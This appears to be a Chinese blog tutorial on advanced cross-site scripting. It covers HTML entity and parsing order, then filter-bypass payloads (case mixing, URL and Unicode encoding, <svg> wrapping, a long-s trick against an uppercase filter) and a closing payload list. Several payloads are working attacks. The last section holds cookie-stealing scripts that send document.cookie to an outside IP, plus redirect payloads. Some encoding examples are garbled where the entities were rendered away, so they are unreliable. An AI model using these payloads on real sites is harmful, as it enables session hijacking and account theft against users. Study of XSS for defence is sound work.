XSS进阶版
XSS进阶版
01
1 原理
虽然之前写过,但并不全(是水文),而这期进阶版,其中几个概念必须得先说一下
1 html字符实体
为什么要讲这个呢,因为HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签
php其中有个函数 htmlspecialchars() 函数就是将一些会产生歧义的符号转移成实体编号,对xss起到了防护作用。
2 解析机制
解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面两个解析看情况而定,但大多数都是HTML解析->URL解析->JavaScript解析
3 服务器与黑客交互机制
之前的文章(水文)说过,可以回去复习一下
https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd
4 危害
除了以下危害还有很多,感兴趣的面向百度⑧
02
基本概念都说过了,现在就直接进入干货了
绕过过程:
1 大小写绕过
这没啥好说的
<script>alert(zac)</script>
更换成
<ScrIpT>alert(zac)</sCripT>
2 空写绕过
当网站过滤了onerror 过滤了script 这些敏感字符,但是“ 或者 ' 这种符号会变成空可以绕过,例如代码
<img src=zac oner”ror=alert(ZAC)>
3 编码绕过
这是目前来说绕过最常用,使用最多的手段了,利用不同的编码机制去绕过,有几个例子
例1:
<script>alert(“zac”)</scrIpt>
这是利用了unicode编码,将r转换成r来绕过
例2:
如下,经过了Html解析之后,进入href,就开始url解析了,没有把协议给编码,被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分,最后就会触发xss
<a href='javascript:%61%6c%65%72%74%28%31%29'></a>
%61%6c%65%72%74%28%31%29这行payload解码就会变为alert(1)
例3
我们来按照浏览器的规律,解析一下
<a
href='javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(zac)'>
</a>
第一次html解析
第二次url解析
第三次js解析(unicode)
例4 <svg>标签
当我们的payload的是:
<script>alert(1)</script>
可以发现,浏览器屁反应都没有
但是当我们在payload的前加上<svg>的时候
可以发现,界面弹窗了,这是为啥呢
这是因为解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。
4 小型实战
我们先来看一下代码
当我们输入<script>alert(zac)</script>时
会输出<_SCRIPT>ALERT(ZAC)
可以看到,这个过滤机制就是利用strupper函数,将字符串变成大写,这是我们要考虑的第一个问题,第二个就是在<符号后面加了_,这是第二个问题,解决这两个问题,我们才能正常的弹出xss
js是区分大小写的,所以直接在标签内写弹窗脚本是不太可行的,但是我们可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,这就可以绕过
那么下斜杠怎么办呢?
因为后台匹配的是<符号后面接上正常的字母,如果使用的是不正常的英文字母呢?这里刚好有另外一个条件就是转化大写的这个操作,这个操作很妙,因为HTML标签是不区分大小写的,这样我们使用下图的这个拉丁字母,当转化成大写的话就刚好是S
所以最后的payload就是
<ſcript src=XXXX></script>
这样我们就可以绕过啦
5 一些xss的payload
1 网站跳转
<script>window.location.href='https://www.ZACURL.com'</script>
<meta content='1;http://www.ZACURL.com/' http-equiv='refresh'>
2 cookie盗取
<script>window.location.href='http://1.1.1.1/?msg='+escape(document.cookie)</script>
<script>document.body.appendChild(document.createElement('img')).src='http://1.1.1.1/?msg='+escape(document.cookie)</script>
3 不同的弹窗
后记
顺便提一嘴,我们学校的纸面渗透授权书已经在要了,等要到了有想锻炼的dd我
然后我文章里那个输入法,就是怕别人盗图恶心我整的,我爱阿狸!耶!